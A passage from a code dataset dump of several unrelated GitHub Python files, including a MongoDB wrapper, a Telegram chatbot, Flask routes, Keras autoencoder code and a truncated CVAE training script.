commands\nmain(args.filename[0])\n","repo_name":"negargoli/Graph_Partitioning","sub_path":"MultiLevel/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"43454511948","text":"import os\nfrom pymongo import MongoClient\n\nclass MongoDB_Class:\n\n \"\"\" Environment Variables \"\"\"\n # Mongo Host and Port\n MONGO_HOST = os.getenv(\"MONGO_HOST\", \"localhost\")\n MONGO_PORT = int(os.getenv(\"MONGO_PORT\", 27017))\n\n # Mongo Database and Collection\n DATABASE = os.getenv(\"DATABASE\", \"rules_db\")\n COLLECTION = os.getenv(\"COLLECTION\", \"jobs\")\n\n def __init__(self):\n mongo_host = MongoDB_Class.MONGO_HOST+\":\"+str(MongoDB_Class.MONGO_PORT)\n self.mongo_client = MongoClient(\"mongodb://\"+mongo_host+\"/\")\n return\n \n def insertMongoRecord(self, record):\n mongo_db = self.mongo_client[MongoDB_Class.DATABASE]\n db_collection = mongo_db[MongoDB_Class.COLLECTION]\n db_collection.insert_one(record)\n return\n \n def updateMongoStatus(self, filters, status):\n mongo_db = self.mongo_client[MongoDB_Class.DATABASE]\n db_collection = mongo_db[MongoDB_Class.COLLECTION]\n db_collection.update_one(filters, {\"$set\": {'status': status}})\n return\n\n def findMongoDocument(self, job_id):\n mongo_db = self.mongo_client[MongoDB_Class.DATABASE]\n db_collection = mongo_db[MongoDB_Class.COLLECTION]\n return db_collection.find_one({\"job-id\": job_id})\n \n def updateMongoPerformanceMetrics(self, client, collection, filters, metadata):\n mongo_db = self.mongo_client[client]\n analysis_collection = mongo_db[collection]\n\n # Get the current metadata\n metadata_dict = analysis_collection.find_one(filters)\n if \"performance\" in metadata_dict:\n metadata_dict = metadata_dict[\"performance\"]\n else:\n metadata_dict = {}\n\n metadata_dict[metadata[\"label\"]] = metadata[\"value\"]\n \n # Update the metadata\n analysis_collection.update_one(filters, {\"$set\": {'performance': metadata_dict}})\n return\n","repo_name":"DIASTEMA-UPRC/mathblock-service","sub_path":"mathblock/docker-image/MongoDB_Class.py","file_name":"MongoDB_Class.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"10828989523","text":"#/usr/bin/env python3\n\ndef main():\n part1()\n part2()\n\ndef part1():\n num_players = 459\n num_marbles = 71320\n marbles = [0 for i in range(num_marbles)]\n scores = [0 for i in range(num_players)]\n curr_num_marbles = 1\n curr_player = 0\n curr_marble = 0\n with open('in.txt') as f:\n for i in range(1, num_marbles + 1):\n # Special case for 0/1\n if (i == 1):\n curr_marble = 1\n else:\n curr_marble = (curr_marble + 2) % curr_num_marbles\n\n if ((i % 23) != 0):\n curr_num_marbles += 1\n marbles.insert(curr_marble, i)\n else:\n scores[curr_player] += i\n cc_index = ((curr_marble - 7) % curr_num_marbles)\n scores[curr_player] += marbles[cc_index]\n marbles = marbles[:cc_index] + marbles[cc_index + 1:]\n curr_num_marbles -= 1\n curr_player = (curr_player + 1) % num_players\n\n score_max = 0\n for score in scores:\n if score > score_max:\n score_max = score\n print(score_max)\n\n\ndef part2():\n with open('in.txt') as f:\n pass\n\nif __name__ == '__main__':\n main()\n","repo_name":"ValRat/aoc-2018","sub_path":"day9/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"25520873803","text":"\"\"\"\nspeech_tools.py\n=================================\nThis module contains speech tools\n\"\"\"\nimport pyttsx3\n\n\nclass Speaker:\n \"\"\"This class wraps pyttsx3 to enable easier use of text-to-speech tools\"\"\"\n def __init__(self, rate=None, volume=None, voice_id=None, dontspeak=False):\n \"\"\"\n Initializes Speaker Class\n\n :param rate: Set the speech rate here with an integer\n :param volume: Set the volume with a floating point number between 0 and 1\n :param voice_id: Set this to 0 for a male voice or set it to 1 for a female voice\n :param dontspeak: Set this to True if you want the object not to use text to speech\n but to print instead\n \"\"\"\n self.engine = pyttsx3.init()\n if rate is not None:\n self.engine.setProperty('rate', rate)\n if volume is not None:\n self.engine.setProperty('volume', volume)\n if voice_id is not None:\n voices = self.engine.getProperty('voices')\n self.engine.setProperty('voice', voices[voice_id].id)\n self.dont_speak = dontspeak\n\n def say(self, text, print_text=False):\n \"\"\"\n Use this function to use text to speech\n\n :param text: This is the text to say\n :param print_text: Set this to True if you want the function to also print the text on screen\n \"\"\"\n if not self.dont_speak:\n self.engine.say(text)\n else:\n print_text = True\n if print_text:\n print(text)\n self.engine.runAndWait()\n\n def asyncsay(self, text, print_text=False):\n \"\"\"\n Use this function to queue some text for text-to-speech\n\n :param text: This is the text to say\n :param print_text: Set this to True if you want the function to also print the text on screen\n \"\"\"\n if not self.dont_speak:\n self.engine.say(text)\n else:\n print_text = True\n if print_text:\n print(text)\n\n def runAndWait(self):\n \"\"\"\n When using the asyncsay function use this function to run queued text\n \"\"\"\n self.engine.runAndWait()\n","repo_name":"anhydrous99/VmobiVision","sub_path":"speech_tools.py","file_name":"speech_tools.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"10187448730","text":"import random\nimport datetime\nimport data\nimport requests\nimport speech\nfrom yandex import Translater\nfrom bs4 import BeautifulSoup as BS\n\n\n''' ------ Функциии ------ '''\ndef random_greeting(first_name):\n day_time = int(datetime.datetime.now().hour)\n if day_time>=5 and day_time<=12:\n return morning_greeting(first_name)\n elif day_time>=13 and day_time<=18:\n return afternoon_greeting(first_name, day_time)\n elif day_time>=19 and day_time<=22:\n return evening_greeting(first_name)\n elif day_time>=23 and day_time<=4:\n return night_greeting(first_name)\n\n# Утренние приветствия\ndef morning_greeting(first_name):\n greating_list = [f'Доброе утро, человек или {first_name}. ⏰🤗', 'Утречка :3\\n', 'Прекрасное утро, не правда ли? 🌞',\n 'Доброе утро, соня :3\\n', 'Лучше бы размялся, а не садился сразу за компьютер. 💪', 'Доброе утро, как поживаешь? 😉']\n return greating_list[random.randint(0, len(greating_list)-1)]\n\n# Дневные приветствия\ndef afternoon_greeting(first_name, day_time):\n greating_list = [f'Добрый день, человек или {first_name}.', 'Добрый день, браток.', 'Привет, как поживаешь? 🎧',\n 'Привет, как дела? 🙇🔨', 'Здарова, человечишка. 🤖', f'Хм.. Уже {day_time} часов. 😲']\n return greating_list[random.randint(0, len(greating_list)-1)]\n\n# Вечерние приветствия\ndef evening_greeting(first_name):\n greating_list = ['Добрый вечер. 🌙🌠', 'Привет, человек. Наконец-то день закончился, да?', 'Сумерки накрыли эти земли...',\n 'Тьма спустилась в этот мир.', 'Привет. Отдыхаешь? Здорово. C: \\n', 'Ум-м.. Уже темнеет!..']\n return greating_list[random.randint(0, len(greating_list)-1)]\n\n# Ночные приветствия\ndef night_greeting(first_name):\n greating_list = ['Не спится, да? 🗿', 'Тебе следует лечь спать, человек. 🤖',\n 'Дневная суета никак не покинет твоего тела, человек?', f'Доброй ночи, {first_name}.', 'Привет, несовершенный организм. Тебе нужен сон.'\n '1101000010010111110100001011010011010001100000001101000010110000110100001011001011010000101110001101000110001111001000001101000010110110110100001011010111010000101110111101000010110000110100011000111000101100001000001101000010111111110100001011111011010001100000101101000010111110110100001011110011010000101111101101000010111010001000001101000010111110110100001011000111010000101101011101000010110111110100011000110011010001100011111101000010111101'\n 'Тебе следует лечь спать, человек.⏰']\n return greating_list[random.randint(0, len(greating_list)-1)]\n\n''' ------ Разделение 1 ------ '''\n\n# Возвращает один из вариантов прощаний\ndef parting():\n parting_list = ['Увидимся!)', 'Да, пока.', 'До встречи!',\n 'Пока, человек.🗿', 'Удачи тебе!']\n return parting_list[random.randint(0, len(parting_list)-1)]\n\n''' ------ Разделение 2 ------ '''\n\n#Выводит вспомогательное сообщение\ndef help_message(first_name):\n return first_name + ''', ты, наверное, хотел спросить что я умею? - гляди:\n - Пообщаемся?🖐🏻 (\"Привет\", \"Пока\", \"Как дела?\", и т.п.)\n - Рассказать о погоде?⛅ (пиши: \"погода <город>\")\n - У тебя сложный выбор?🍏🍎 Могу помочь (\"Выбери <объект_1> или <объект_2>\")\n - Перевод с твоего языка на английский👅 (\"Перевод <текст>\")'''\n\n#Выводит время (тип:строка)\ndef time(what_is_time):\n position = 7\n offset = datetime.timezone(datetime.timedelta(hours=3))\n string = str(datetime.datetime.now(offset))\n if what_is_time == 'hour':\n position = string.find(' ') + 1\n return string[position:position + 2]\n elif what_is_time == 'data':\n return string[8:9]\n\n#Поиск слова-города в тексте.\ndef find_city(text):\n first_positition = text.find(' ', 0) + 1\n if text.find(' ', first_positition) == -1:\n second_position = len(text)\n else: second_position = text.find(' ', first_positition) - 1\n return text[first_positition:second_position]\n\ndef bot_mood(user_id):\n mood_list = ['Все хорошо.', 'Живу обычной жизнью.', 'Мне скучно. Почему не пишешь?',\n 'Хах.) Сегодня такой приятный день. Я наслаждаюсь им в своей коробушке 6_6\\n', 'Я устал.',\n 'Тружусь, работаю. В отличии от тебя, человек.', 'Дела? - У них все хорошо.',\n 'Из нового: у меня появилось несколько строчек кода. Теперь я стал чуточку умней!)']\n return mood_list[random.randint(0, len(mood_list)-1)]\n\n''' ------ Разделение 3 ------ '''\n#Получает данные о погоде в заданном городе\ndef get_weather_in(s_city):\n city_id = 0\n try:\n res = requests.get('http://api.openweathermap.org/data/2.5/weather?q=' + s_city + ',{state}&lang=ru&appid='+ data.OPENWEATHERMAP_KEY)\n w_data = res.json()\n conditions = \"Погодные условия ☁️: \" + str(w_data['weather'][0]['description'])\n temp = \"Температура 🌡: \" + str(int(w_data['main']['temp']) - 273)\n min_temp = \"Влажность 💧: \" + str(w_data['main']['humidity']) + '%'\n max_temp = \"Максимальная температура ⬆: \" + str(int(w_data['main']['temp_max']) - 273)\n result = conditions + '\\n' + temp + '\\n' + min_temp + '\\n' + max_temp\n except Exception as e:\n result = \"Найден город-исключение: \" + s_city\n pass\n return result\n\ndef choice_or(words_list):\n choice_words_0 = ['выбери', 'choice']\n choice_words_1 = ['или', 'or']\n for i in range(0, len(words_list)):\n if words_list[i] in choice_words_0:\n pos0 = i + 1\n if words_list[i] in choice_words_1:\n pos1 = i\n random_a = random.randrange(1,3)\n result = ''\n if random_a == 1:\n for i in range(len(words_list)):\n if i >= pos0 and i < pos1:\n result = result + words_list[i] + ' '\n else:\n for i in range(len(words_list)):\n if i <= len(words_list) and i > pos1:\n result = result + words_list[i] + ' '\n return result\n\ndef translator(string, words):\n tr = Translater()\n for i in range(0, len(words)):\n if (words[i] == 'перевод') or (words[i] == 'переведи') or (words[i] == 'translate') or (words[i] == 'translator'):\n string = string.replace(words[i], '')\n tr.set_key(data.TRANSLATOR_KEY)\n tr.set_text(string)\n tr.set_from_lang('ru')\n tr.set_to_lang('en')\n return tr.translate()\n\n''' ------ Основная функция ------ '''\n\ndef answer(id_list, name, user_id, words_list, string):\n\n if 10 in id_list: # Возвращает погоду в выбранном городе\n weather_words = ['погода', 'weather']\n for i in range(0, len(weather_words)):\n if speech.find_word(words_list, weather_words[i]) != -1:\n return get_weather_in(words_list[speech.find_word(words_list, weather_words[i]) + 1])\n i = 0\n while i in range(0, len(id_list)):\n if id_list.count(id_list[i]) > 1:\n id_list.pop(i)\n i -= 1\n i += 1\n sentence = ''\n #Вызывает перевод слова\n if id_list[0] == 13:\n return translator(string, words_list)\n for i in range(0, len(id_list)):\n if id_list[i] == 1:\n sentence = sentence + ' ' + random_greeting(name)\n elif id_list[i] == 11:\n if id_list[i + 1] == 12 or id_list[i + 2] == 12:\n return choice_or(words_list)\n elif id_list[i] == 2:\n sentence = sentence + ' ' + parting()\n elif id_list[i] == 3:\n sentence = sentence + ' ' + bot_mood(user_id)\n elif id_list[i] == 4:\n sentence = sentence + ' ' + help_message(name)\n elif id_list[i] == 5:\n sentence = sentence + 'Что почему? Ты о чем?'\n return sentence\n","repo_name":"Solomka-0/BOT_Telegram_Coffee","sub_path":"speech_controller.py","file_name":"speech_controller.py","file_ext":"py","file_size_in_byte":8962,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"36839600202","text":"def sum_range(nums, start=0, end=None):\n \"\"\"Return sum of numbers from start...end.\n\n - start: where to start (if not provided, start at list start)\n - end: where to stop (include this index) (if not provided, go through end)\n\n >>> nums = [1, 2, 3, 4]\n\n >>> sum_range(nums)\n 10\n\n >>> sum_range(nums, 1)\n 9\n\n >>> sum_range(nums, end=2)\n 6\n\n >>> sum_range(nums, 1, 3)\n 9\n\n If end is after end of list, just go to end of list:\n\n >>> sum_range(nums, 1, 99)\n 9\n \"\"\"\n # create a variable to hold the sum\n # loop through the list starting at the start index\n # and ending at the end index\n # add each number to the sum\n # return the sum\n sum = 0\n\n if end is None:\n end = len(nums)\n\n for i in range(start, end):\n sum += nums[i]\n\n return sum","repo_name":"Stodg95/Python_data_structures","sub_path":"sum_range.py","file_name":"sum_range.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32678347797","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.utils.translation import gettext as _\n\nfrom .models import CustomUser\n\n\n@admin.register(CustomUser)\nclass CustomUserAdmin(UserAdmin):\n \"\"\"Define admin model for custom User model.\"\"\"\n\n fieldsets = (\n (\n None,\n {\n \"fields\": (\n \"first_name\",\n \"last_name\",\n \"email\",\n )\n },\n ),\n (\n _(\"Permissions\"),\n {\n \"fields\": (\n \"is_active\",\n \"is_staff\",\n \"is_superuser\",\n \"groups\",\n \"user_permissions\",\n )\n },\n ),\n (_(\"Important dates\"), {\"fields\": (\"last_login\", \"date_joined\")}),\n )\n add_fieldsets = (\n (\n None,\n {\n \"classes\": (\"wide\",),\n \"fields\": (\n \"first_name\",\n \"last_name\",\n \"is_staff\",\n \"password1\",\n \"password2\",\n ),\n },\n ),\n )\n\n list_display = (\"first_name\", \"last_name\", \"email\", \"is_verified\")\n search_fields = (\"id\", \"first_name\", \"last_name\", \"email\")\n ordering = (\"id\",)\n list_filter = (\n \"is_staff\",\n \"is_verified\",\n )\n","repo_name":"piotr-grzelka/uptime-monitor","sub_path":"backend/apps/accounts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"18240294655","text":"import random\nmin= int(input(\"enter minumum num :\"))\nmax = int(input('enter maximum number :'))\ntarget_number = (int(input(\"enter your guessing number :\")))\nreward = 0\nguess = random.randint(min,max)\nif target_number == guess:\n print('congratulations your guessing number is right')\n reward +=1\nelse:\n print(\"no thats not a right number\")\n reward -=1\nreward = reward\nprint( 'reward = ' , reward)\n","repo_name":"vikasgpt153/number-guessing-game","sub_path":"numbergame.py","file_name":"numbergame.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"71328243418","text":"# Inicialize o gabarito da prova\r\ngabarito = [\"A\", \"B\", \"C\", \"D\", \"E\", \"E\", \"D\", \"C\", \"B\", \"A\"]\r\n\r\n# Inicialize variáveis para estatísticas\r\nmaior_acerto = 0\r\nmenor_acerto = 10\r\ntotal_alunos = 0\r\nsoma_notas = 0\r\n\r\nwhile True:\r\n # Solicite ao aluno que insira as respostas\r\n respostas_aluno = []\r\n for i in range(1, 11):\r\n resposta = input(f\"Resposta da questão {i}: \").upper() # Converta para maiúsculas\r\n respostas_aluno.append(resposta)\r\n\r\n # Compare as respostas com o gabarito e calcule o total de acertos\r\n total_acertos = sum(1 for a, b in zip(respostas_aluno, gabarito) if a == b)\r\n\r\n # Calcule a nota (1 ponto por resposta certa)\r\n nota = total_acertos\r\n\r\n # Atualize as estatísticas\r\n total_alunos += 1\r\n soma_notas += nota\r\n if total_acertos > maior_acerto:\r\n maior_acerto = total_acertos\r\n if total_acertos < menor_acerto:\r\n menor_acerto = total_acertos\r\n\r\n # Imprima a nota do aluno\r\n print(f\"Total de acertos: {total_acertos}\")\r\n print(f\"Nota: {nota}\")\r\n\r\n # Pergunte se outro aluno vai utilizar o sistema\r\n continuar = input(\"Outro aluno vai utilizar o sistema? (S para sim, qualquer outra tecla para encerrar): \").upper()\r\n if continuar != \"S\":\r\n break\r\n\r\n# Calcule a média das notas da turma\r\nmedia_notas = soma_notas / total_alunos\r\n\r\n# Imprima as estatísticas finais\r\nprint(\"Estatísticas finais:\")\r\nprint(f\"Maior acerto: {maior_acerto}\")\r\nprint(f\"Menor acerto: {menor_acerto}\")\r\nprint(f\"Total de alunos: {total_alunos}\")\r\nprint(f\"Média das notas da turma: {media_notas:.2f}\")\r\n","repo_name":"erikmarquesbenetti07/Estruturas_De_Repeticao_Com_Python","sub_path":"45.py","file_name":"45.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"36970132501","text":"import numpy as np\nfrom keras.layers import Input, Dense\nfrom keras.models import Model\nimport tensorflow\nimport keras\nimport os\n\n# set the random seed for numpy and tensorflow backend\n# to have a more consistent testing environment\ndef seedy(s):\n np.random.seed(s)\n tensorflow.random.set_seed(s)\n\n# encoding dimension is the size of the compressed layer\nclass AutoEncoder:\n def __init__(self, encoding_dim=3):\n self.encoding_dim = encoding_dim\n r = lambda: np.random.randint(1, 3)\n self.x = np.array([[r(), r(), r()] for _ in range(1000)])\n print(self.x)\n \n def _encoder(self):\n inputs = Input(shape=(self.x[0].shape))\n encoded = Dense(self.encoding_dim, activation='relu')(inputs)\n model = Model(inputs=inputs, outputs=encoded)\n self.encoder = model\n return model\n \n def _decoder(self):\n inputs = Input(shape=(self.encoding_dim,))\n decoded = Dense(3)(inputs)\n model = Model(inputs, decoded)\n self.decoder = model\n return model\n \n def encoder_decoder(self):\n ec = self._encoder()\n dc = self._decoder()\n\n inputs = Input(shape=self.x[0].shape)\n ec_out = ec(inputs)\n dc_out = dc(ec_out)\n model = Model(inputs, dc_out)\n\n self.model = model\n return model\n\n def fit(self, batch_size=10, epochs=300):\n self.model.compile(optimizer='sgd', loss='mse')\n log_dir = './log/'\n tbCallBack = keras.callbacks.TensorBoard(log_dir=log_dir, histogram_freq=0, write_graph=True, write_images=True)\n self.model.fit(self.x, self.x,\n epochs=epochs,\n batch_size=batch_size,\n callbacks=[tbCallBack])\n \n def save(self):\n if not os.path.exists(r'./weights'):\n os.mkdir(r'./weights')\n else:\n self.encoder.save(r'./weights/encoder_weights.h5')\n self.decoder.save(r'./weights/decoder_weights.h5')\n self.model.save(r'./weights/ae_weights.h5')\n\nif __name__ == '__main__':\n seedy(2)\n ae = AutoEncoder(encoding_dim=2)\n ae.encoder_decoder()\n ae.fit(batch_size=50, epochs=300)\n ae.save()","repo_name":"anhdungle93/autoencoder_in_keras","sub_path":"autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"73303536535","text":"from app import app, db\nfrom flask import jsonify, request\nfrom app.models import CarAccounting, CarAccountingSchema\nfrom datetime import datetime\n\n@app.route('/car-account', methods = ['GET'])\ndef get_car_account():\n car_account_schema = CarAccountingSchema(many = True)\n\n req = CarAccounting.query.all()\n\n output = car_account_schema.dump(req)\n return jsonify(output)\n\n@app.route('/car-account', methods = ['POST'])\ndef post_car_account():\n data = request.get_json()\n car_id = data['car_id']\n policeman_id = data['policeman_id']\n\n car_account = CarAccounting(car_id = car_id, policeman_id = policeman_id)\n \n db.session.add(car_account)\n db.session.commit()\n\n return {\"message\": \"Success\"}\n\n@app.route('/car-account/', methods = ['GET'])\ndef get_cur_car_account(id):\n car_account_schema = CarAccountingSchema(many = False)\n\n req = CarAccounting.query.filter_by(id = id).first()\n\n output = car_account_schema.dump(req)\n return jsonify(output)\n\n\n@app.route('/car-account/', methods = ['POST'])\ndef edit_cur_car_account(id):\n data = request.get_json()\n car_id = data['car_id']\n policeman_id = data['policeman_id']\n\n car_account = CarAccounting.query.filter_by(id = id).first()\n car_account.car_id = car_id\n car_account.policeman_id = policeman_id\n\n db.session.commit()\n\n return {\"message\": \"Success\"}\n\n@app.route('/car-account/', methods = ['DELETE'])\ndef delete_cur_car_account(id):\n car_account = CarAccounting.query.filter_by(id = id).first()\n\n db.session.delete(car_account)\n db.session.commit()\n \n return {\"message\": \"Success\"}\n\n@app.route('/car-account//policeman', methods = ['DELETE'])\ndef delete_cur_car_account_by_policeman_id(id):\n car_account = CarAccounting.query.filter_by(policeman_id = id).first()\n\n db.session.delete(car_account)\n db.session.commit()\n \n return {\"message\": \"Success\"}\n","repo_name":"Talich12/BackendPoliceStation","sub_path":"app/routes/car_accounting.py","file_name":"car_accounting.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"27662622160","text":"'''\nThis file is used to train the shape autoencoder model.\n\nIt uses cvae.py as the base model and many data functions from utils to make it simpler.\n\nIt also has various methods for exploring a trained model to see how well it can reconstruct models and\ninterpolate between various reconstructions.\n\nAt the end there is a method called 'journey' which extends on the idea of interpolating between 2 chosen models\nand chooses the models automatically on repeat to create cool interpolation animations.\n'''\n#\n\n#%% Imports\nimport numpy as np\nimport os\nfrom shutil import copyfile\nimport subprocess\nfrom sys import getsizeof, stdout\nfrom scipy import spatial\n\nimport time\nimport json\nimport pandas as pd\nimport random\nimport inspect\n\nimport pickle\nfrom tqdm import tqdm\nimport glob\n\nimport cvae as cv\nimport utils as ut\nimport logger\nimport configs as cf\n\nimport tensorflow as tf\n\nAUTOTUNE = tf.data.experimental.AUTOTUNE\n\nJUPYTER_NOTEBOOK = True\n\n# if JUPYTER_NOTEBOOK:\n# %reload_ext autoreload\n# %autoreload 2\n\n#%% Setup\n#######\ncf_img_size = cf.IMG_SIZE\ncf_latent_dim = cf.LATENT_DIM\ncf_batch_size = cf.BATCH_SIZE #32\ncf_learning_rate = cf.IMGRUN_LR #4e-4\ncf_limits = [cf_img_size, cf_img_size]\n#( *-*) ( *-*)>⌐■-■ ( ⌐■-■)\n#\ncf_kl_weight = cf.KL_WEIGHT\ncf_num_epochs = cf.N_IMGRUN_EPOCH\n#dfmeta = ut.read_meta()\ncf_val_frac = cf.VALIDATION_FRAC\n#%% are we GPU-ed?\ntf.config.experimental.list_physical_devices('GPU') \n\n\n#%% Define Training methods\n\n\ndef step_model(epochs, display_interval=-1, save_interval=10, test_interval=10,current_losses=([],[])) :\n \"\"\"\n custom training loops to enable dumping images of the progress\n \"\"\"\n\n model.training=False\n elbo_test,elbo_train = current_losses\n if len(elbo_test)>0:\n print(f\"test: n={len(elbo_test)}, last={elbo_test[-1]}\")\n print(f\"train: n={len(elbo_train)}, last={elbo_train[-1]}\")\n\n for epoch in range(1, epochs + 1):\n start_time = time.time()\n losses = []\n batch_index = 1\n\n # DO THE AUGMENTATION HERE...\n for train_x, label in train_dataset :\n neg_ll, kl_div = model.get_test_loss_parts(train_x)\n \n loss_batch = neg_ll+kl_div\n\n #neg_elbo = tf.math.reduce_mean(self.kl_weight *\n\n\n losses.append(loss_batch)\n stdout.write(\"\\r[{:3d}/{:3d}] \".format(batch_index, total_train_batchs))\n stdout.flush() \n\n batch_index = batch_index + 1\n\n ## TRAIN LOSS\n elbo = np.mean(losses)\n print(f'Epoch: {lg.total_epochs} Train loss: {float(elbo):.1f} Epoch Time: {float(time.time()-start_time):.2f}')\n lg.log_metric(elbo, 'train loss',test=False)\n elbo_train.append(elbo)\n\n if ((display_interval > 0) & (epoch % display_interval == 0)) :\n if epoch == 1:\n ut.show_reconstruct(model, test_samples, title=lg.total_epochs, index=sample_index, show_original=True, save_fig=True, limits=cf_limits) \n else:\n ut.show_reconstruct(model, test_samples, title=lg.total_epochs, index=sample_index, show_original=False, save_fig=True, limits=cf_limits)\n\n ## TEST LOSSin chekmakedirs\n test_losses = []\n for test_x, test_label in test_dataset: # (dataset.take(batches).shuffle(100) if batches > 0 else dataset.shuffle(100)) :\n #test_x = tf.cast(test_x, dtype=tf.float32) #might not need this\n test_cost_batch = model.compute_test_loss(test_x) # this should turn off the dropout...\n test_losses.append(test_cost_batch)\n\n test_loss = np.mean(test_losses)\n print(f' TEST LOSS : {test_loss:.1f} for epoch: {lg.total_epochs}')\n lg.log_metric(test_loss, 'test loss',test=True)\n elbo_test.append(test_loss)\n\n ## SAVE\n if epoch % save_interval == 0:\n lg.save_checkpoint()\n\n lg.increment_epoch()\n if (ut.check_stop_signal(dir_path=cf.IMGRUN_DIR)) :\n print(f\"stoping at epoch = {epoch}\")\n break\n else:\n print(f\"executed {epoch} epochs\")\n \n out_losses = (elbo_train,elbo_test)\n return epoch, out_losses #(loss_batch2,loss_batchN)\n\n\n\n\n\ndef train_model(epochs, display_interval=-1, save_interval=10, test_interval=10,current_losses=([],[])) :\n \"\"\"\n custom training loops to enable dumping images of the progress\n \"\"\"\n print('\\n\\nStarting training...\\n')\n model.training=True\n elbo_train,elbo_test = current_losses\n if len(elbo_test)>0:\n print(f\"test: n={len(elbo_test)}, last={elbo_test[-1]}\")\n print(f\"train: n={len(elbo_train)}, last={elbo_train[-1]}\")\n\n for epoch in range(1, epochs + 1):\n start_time = time.time()\n losses = []\n batch_index = 1\n\n # DO THE AUGMENTATION HERE...\n for train_x, _ in train_dataset :\n #for train_x, label in train_dataset :\n #train_x = tf.cast(train_x, dtype=tf.float32)\n loss_batch = model.trainStep(train_x)\n losses.append(loss_batch)\n stdout.write(\"\\r[{:3d}/{:3d}] \".format(batch_index, total_train_batchs))\n stdout.flush() \n\n batch_index = batch_index + 1\n\n ## TRAIN LOSS\n elbo = np.mean(losses)\n print(f'Epoch: {lg.total_epochs} Train loss: {float(elbo):.1f} Epoch Time: {float(time.time()-start_time):.2f}')\n lg.log_metric(elbo, 'train loss',test=False)\n elbo_train.append(elbo)\n\n if ((display_interval > 0) & (epoch % display_interval == 0)) :\n if epoch == 1:\n ut.show_reconstruct(model, test_samples, title=lg.total_epochs, index=sample_index, show_original=True, save_fig=True, limits=cf_limits) \n else:\n ut.show_reconstruct(model, test_samples, title=lg.total_epochs, index=sample_index, show_original=False, save_fig=True, limits=cf_limits)\n\n ## TEST LOSSin chekmakedirs\n if epoch % test_interval == 0:\n test_losses = []\n for test_x, test_label in test_dataset: # (dataset.take(batches).shuffle(100) if batches > 0 else dataset.shuffle(100)) :\n #test_x = tf.cast(test_x, dtype=tf.float32) #might not need this\n test_cost_batch = model.compute_test_loss(test_x) # this should turn off the dropout...\n test_losses.append(test_cost_batch)\n\n test_loss = np.mean(test_losses)\n print(f' TEST LOSS : {test_loss:.1f} for epoch: {lg.total_epochs}')\n lg.log_metric(test_loss, 'test loss',test=True)\n elbo_test.append(test_loss)\n\n ## SAVE\n if epoch % save_interval == 0:\n lg.save_checkpoint()\n\n lg.increment_epoch()\n if (ut.check_stop_signal(dir_path=cf.IMGRUN_DIR)) :\n print(f\"stoping at epoch = {epoch}\")\n break\n else:\n print(f\"executed {epoch} epochs\")\n \n out_losses = (elbo_train,elbo_test)\n return epoch, out_losses #(loss_batch2,loss_batchN)\n\n\n\n#%% #################################################\n##\n## LOAD/PREP data\n## - l if we've already been through this for the current database we'll load... otherwise process.\n#####################################################\n\n\n\ndata_from_scratch = not ut.check_for_datafiles(cf.DATA_DIR,['train_data.npy','val_data.npy','all_data.npy'])\n#data_from_scratch = True\nrandom.seed(488)\ntf.random.set_seed(488)\n\nif data_from_scratch:\n #create\n files = glob.glob(os.path.join(cf.IMAGE_FILEPATH, \"*/img/*\"))\n files = np.asarray(files)\n train_data, val_data, all_data = ut.split_shuffle_data(files,cf_val_frac)\n # Save base train data to file \n np.save(os.path.join(cf.DATA_DIR, 'train_data.npy'), train_data, allow_pickle=True)\n np.save(os.path.join(cf.DATA_DIR, 'val_data.npy'), val_data, allow_pickle=True)\n np.save(os.path.join(cf.DATA_DIR, 'all_data.npy'), all_data, allow_pickle=True)\nelse:\n #load\n print(f\"loading train/validate data from {cf.DATA_DIR}\")\n train_data = np.load(os.path.join(cf.DATA_DIR, 'train_data.npy'), allow_pickle=True)\n val_data = np.load(os.path.join(cf.DATA_DIR, 'val_data.npy'), allow_pickle=True)\n all_data = np.load(os.path.join(cf.DATA_DIR, 'all_data.npy'), allow_pickle=True)\n\n\n#%% #################################################\n##\n## Set up the model \n## - load current state or\n## - train from scratch\n#####################################################\n\nmodel = cv.CVAE(cf_latent_dim, cf_img_size, learning_rate=cf_learning_rate, kl_weight=cf_kl_weight, training=True)\n### instance of model used in GOAT blog\n#model = cv.CVAE_EF(cf_latent_dim, cf_img_size, cf_learning_rate, training=True)\n\nmodel.print_model_summary()\nmodel.print_model_IO()\n\nif JUPYTER_NOTEBOOK:\n tf.keras.utils.plot_model(model.enc_model, show_shapes=True, show_layer_names=True)\n tf.keras.utils.plot_model(model.gen_model, show_shapes=True, show_layer_names=True)\n\n\n#%% Setup logger info\ntrain_from_scratch = ( cf.CURR_IMGRUN_ID is None )\n\nif train_from_scratch:\n lg = logger.logger(trainMode=True, txtMode=False)\n lg.setup_checkpoint(encoder=model.enc_model, generator=model.gen_model, opt=model.optimizer) # sets up the writer\n #lg.restore_checkpoint() \n lg.check_make_dirs() # makes all the direcotries\n # copy to the current run train data to file\n np.save(os.path.join(lg.saved_data, 'train_data.npy'), train_data, allow_pickle=True)\n np.save(os.path.join(lg.saved_data, 